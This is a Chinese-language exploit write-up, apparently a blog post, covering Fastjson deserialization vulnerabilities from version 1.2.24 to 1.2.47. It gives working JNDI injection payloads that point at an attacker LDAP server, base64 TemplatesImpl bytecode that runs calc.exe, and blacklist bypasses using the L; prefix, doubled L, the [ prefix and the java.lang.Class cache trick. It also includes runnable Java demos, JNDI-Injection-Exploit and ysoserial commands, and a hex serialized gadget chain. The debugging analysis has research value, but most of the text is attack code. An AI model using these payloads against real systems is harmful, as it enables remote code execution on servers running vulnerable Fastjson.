String payload = "{" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
" \"properties\": {" +
" \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" +
" }" +
"}";

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象


}
}

审计

D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\util\TypeUtils.class:802loadClass方法下个断点

然后调试

来到D:\maven_repo\org\mybatis\mybatis\3.5.7\mybatis-3.5.7.jar!\org\apache\ibatis\datasource\jndi\JndiDataSourceFactory.class

payload

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://attacker.com/exp"
}
}

字段为properties``data_source,到这个类的gadget的起点肯定是propertiesgetter或者setter,找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void setProperties(Properties properties) {
try {
Properties env = getEnvProperties(properties);
InitialContext initCtx;
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}

if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
} else if (properties.containsKey("data_source")) {
this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
}

} catch (NamingException var5) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + var5, var5);
}
}

data_source调用了lookup方法,可以jndi注入

gadget

1
JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JndiDataSourceFactory -> setProperties() 

com.mchange.v2.c3p0.JndiRefForwardingDataSource

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.mchange.c3p0/com.springsource.com.mchange.v2.c3p0 -->
<dependency>
<groupId>com.mchange.c3p0</groupId>
<artifactId>com.springsource.com.mchange.v2.c3p0</artifactId>
<version>0.9.1.2</version>
</dependency>
//或者
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.11.0</version>
</dependency>

payload

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://192.168.100.128:1389/Exploit",
"loginTimeout": 0
}

D:\maven_repo\com\mchange\c3p0\com.springsource.com.mchange.v2.c3p0\0.9.1\com.springsource.com.mchange.v2.c3p0-0.9.1.jar!\com\mchange\v2\c3p0\JndiRefForwardingDataSource.class

setLoginTimeout调用了this.inner()跟进

cachedInner=null调用dereference()

调用了lookup(),参数是jndiName,子类没有重写setJndiName,用的是父类的com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName

gadget

1
JndiRefForwardingDataSource.setLoginTimeout -> inner() -> dereference().lookup(JndiName)

1.2.25 ≤ FastJson ≤ 1.2.41

新版对前面版本的漏洞做了修复

默认关闭autotype并设置白名单和黑名单

需要开启autotype

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype

复现

jdk 8u101

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.41</version>
</dependency>

JdbcRowSetImpl

payload

1
2
{  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",  "dataSourceName": "ldap://192.168.100.128:1389/Exploit","autoCommit":true}

./java -jar ../JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJsonTest {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{" +
" \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
" \"dataSourceName\": \"ldap://192.168.100.128:1389/Exploit\"," +
"\"autoCommit\":true"+
"}";

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

另一种payload。[绕过

1
2
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJsonTest {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\",\"autoCommit\":true}";

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

TemplatesImpl

payload

1
2
{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class TemplatesImpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
// 替换为你的正确恶意类字节码(Base64编码)
String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=";

final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";

String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + byteCode + "\"]," +
"\"_name\":\"EvilClass\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";

System.out.println(payload);

// 反序列化
try {
Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
} catch (Exception e) {

}
}
}

另一种payload,[绕过checkautotype

1
2
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}

JndiDataSourceFactory

payload

1
{  "@type": "Lorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;",  "properties": {    "data_source": "ldap://192.168.100.128:1389/Exploit"  }}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JndiDataSourceFactory {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{" +
" \"@type\": \"Lorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;\"," +
" \"properties\": {" +
" \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" +
" }" +
"}";
System.out.println(payload);

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

另一种payload,[绕过

1
{  "@type": "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"[{,  "properties": {    "data_source": "ldap://192.168.100.128:1389/Exploit"  }}

审计

下断点一路跟进到D:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\parser\ParserConfig.class:791checkAutoType()方法

acceptList为白名单(默认为空)

然后看黑名单

这里要复制整个list的话,alt+f8

黑名单有23个

1
["bsh","com.mchange","com.sun.","java.lang.Thread","java.net.Socket","java.rmi","javax.xml","org.apache.bcel","org.apache.commons.beanutils","org.apache.commons.collections.Transformer","org.apache.commons.collections.functors","org.apache.commons.collections4.comparators","org.apache.commons.fileupload","org.apache.myfaces.context.servlet","org.apache.tomcat","org.apache.wicket.util","org.apache.xalan","org.codehaus.groovy.runtime","org.hibernate","org.jboss","org.mozilla.javascript","org.python.core","org.springframework"]

而在fastjson 1.2.24只有两个

这里前面加了个L自然所有黑名单都不管用了

监视@type的值的变化

D:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\util\TypeUtils.class:1044

如果L开头;结尾就去除头尾再调用一次loadClass然后后续的流程,前面其实还有一个对[开头的判断,其实用[开头也可以绕过

这里L开头;结尾是JNI(Java Native Interface FieldDescriptors) 字段描述符

[开头绕过的payload

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

为什么要在第一个键值对后面加[{

删掉跑一下

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

说是希望在下标42的地方接收[,42是第一个键值对后面的,

点击com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:672)

可以进到抛出异常的地方

加上[再跑一下

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

说是希望在下标43接收{进入抛出异常的地方

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)

如果满足if (token != 12 && token != 16) 就会抛出异常

tokenD:\maven_repo\com\alibaba\fastjson\1.2.41\fastjson-1.2.41.jar!\com\alibaba\fastjson\parser\JSONLexerBase.class

满足这两个,不抛出异常后续就能正常反序列化了

[{ 的作用:

- `[` 表示 JSON 数组的开始。
- `{` 表示 JSON 对象的开始,用于传入 `dbcRowSetImpl` 的属性(如 `dataSourceName`)。
- 这种格式让 Fastjson 认为这是一个合法的 JSON 数组结构,从而正确解析 payload。

下个版本会在checkAutoType先去除@type开头的L和末尾的;然后才进入loadClass

所以可以双写绕过

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

这个方法其实在当前版本范围1.2.25-1.2.41也可以用

因为在com.alibaba.fastjson.util.TypeUtils#loadClass

去除头尾再递归调用loadClass,无论有几个L,都能被处理最后只剩下com.sun.rowset.JdbcRowSetImpl

FastJson 1.2.42

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>

需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype

checkAutoType先去除@type开头的L和末尾的;

黑名单改为了哈希黑名单,防止对黑名单进行分析绕过

一些已破解的黑名单白名单https://github.com/LeadroyaL/fastjson-blacklist

审计

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJsonTest {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\",\"autoCommit\":true}";
System.out.println(payload);

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

去除头尾的L;

黑名单不再是硬编码类名了,用的hash

很显然通双写的方法,可以绕过黑名单,黑名单肯定是com.sun.rowset.JdbcRowSetImplLcom.sun.rowset.JdbcRowSetImpl,不在黑名单中

无论写多少个L(大于2)都可以绕过,因为loadClass会递归处理@type

此外,这个版本并没有对[开头的进行处理,所以这个payload依然如入无人之境

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

FastJson 1.2.43

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>

需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype

checkAutoType禁止了双写绕过

审计

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

1
2
3
4
5
6
7
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

多少个L都没用

因为只要L开头;结尾就会抛出异常

此外,这个版本依然没有对[开头的进行处理,所以这个payload依然如入无人之境

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}

FastJson 1.2.44 - 1.2.45

1
2
3
4
5
6
7
8
9
10
11
12
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.44</version>
</dependency>

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>

需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 开启autoTyoe;需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本

审计

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

@type第一个字符是[就抛出异常

只能绕过黑名单用JndiDataSourceFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JndiDataSourceFactory {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
" \"properties\": {" +
" \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" +
" }" +
"}";
System.out.println(payload);

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

payload

1
2
{  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",  "properties": {    "data_source": "ldap://192.168.100.128:1389/Exploit"  }}

FastJson 1.2.46 - 1.2.47

黑名单加了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}

审计

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}

不开启autotype

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJsonTest {
public static void main(String[] args) {

//ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{" +
"\"a\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"b\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\"," +
"\"autoCommit\":true" +
"}" +
"}";
System.out.println(payload);

Object object = JSON.parse(payload);// 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)因为autotype关闭了,所以不会进入到黑名单那部分,

然后调用com.alibaba.fastjson.util.IdentityHashMap#findClass

然后returncheckAutoType()

然后调用com.alibaba.fastjson.serializer.MiscCodec#deserialze,如果键名不是val就抛出异常

然后对val的键值不是继承String类就返回

然后到这个判断java.lang.Class继承是Class类,就调用loadClass,这一步不会经过checkAutoType()因为键值是val的而不是@type就绕过了黑名单

然后将com.sun.rowset.JdbcRowSetImpl放到mapping映射缓存

至此,payload的上半部分处理完了

1
2
3
4
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}

然后到下半部分

1
2
3
4
5
6
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}

然后匹配到键@type会再次进入checkAutoType(),因为没有开启autotype所以不会进入黑名单检测

然后到getClassFromMapping就会在mapping映射缓存读取到com.sun.rowset.JdbcRowSetImpl并返回,从而绕过了黑名单获取到了com.sun.rowset.JdbcRowSetImpl

后面就是通过JdbcRowSetImpljndi注入了

整个gadget

1
JSON.parse() -> a:@type:java.lang.Class-> ParserConfig#checkAutoType -> IdentityHashMap#findClass -> a:val:com.sun.rowset.JdbcRowSetImpl -> MiscCodec#deserialze -> TypeUtils.loadClass(mappings.put) -> b:@type:com.sun.rowset.JdbcRowSetImpl -> ParserConfig#checkAutoType -> TypeUtils#getClassFromMapping -> TypeUtils.loadClass -> JdbcRowSetImpl -> setAutoCommit() -> connect() -> getDataSourceName()

开启autotype

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJsonTest {
public static void main(String[] args) {

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autotype
String payload = "{" +
"\"a\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"b\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://192.168.100.128:1389/Exploit\"," +
"\"autoCommit\":true" +
"}" +
"}";
System.out.println(payload);

Object object = JSON.parse(payload);// 将 JSON 格式的字符串解析(反序列化)为 Java 对象

}
}

payload上半部分流程和前面一样

在下半部分第二次进入checkAutoType()的时候,因为开启了autotype所以会进入黑名单的检测,但是抛出异常的条件是TypeUtils.getClassFromMapping(typeName) == null,因为缓存有所以不成立,就不会抛出异常

后续流程和上面一样

gadget同上

为什么1.2.25-1.2.32版本:不能开启AutoType 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

1
2
//1.2.25-1.2.32版本:不能开启AutoType
//1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

因为在1.2.33之后checkAutoType()才有TypeUtils.getClassFromMapping(typeName) == null,因为判断用的&&逻辑运算两个条件,即使在黑名单中也因为缓存不为null而无法抛出异常

所以≤ 1.2.32不能进入黑名单检测,所以只能关闭autotype来绕过

FastJson ≤ 1.2.47

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource不出网利用

pom

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.11.0</version>
</dependency>

1
./java -jar ../ysoserial-all.jar CommonsCollections2 "calc.exe" > ../../Calc.txt

转16进制

1
ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000069CCAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E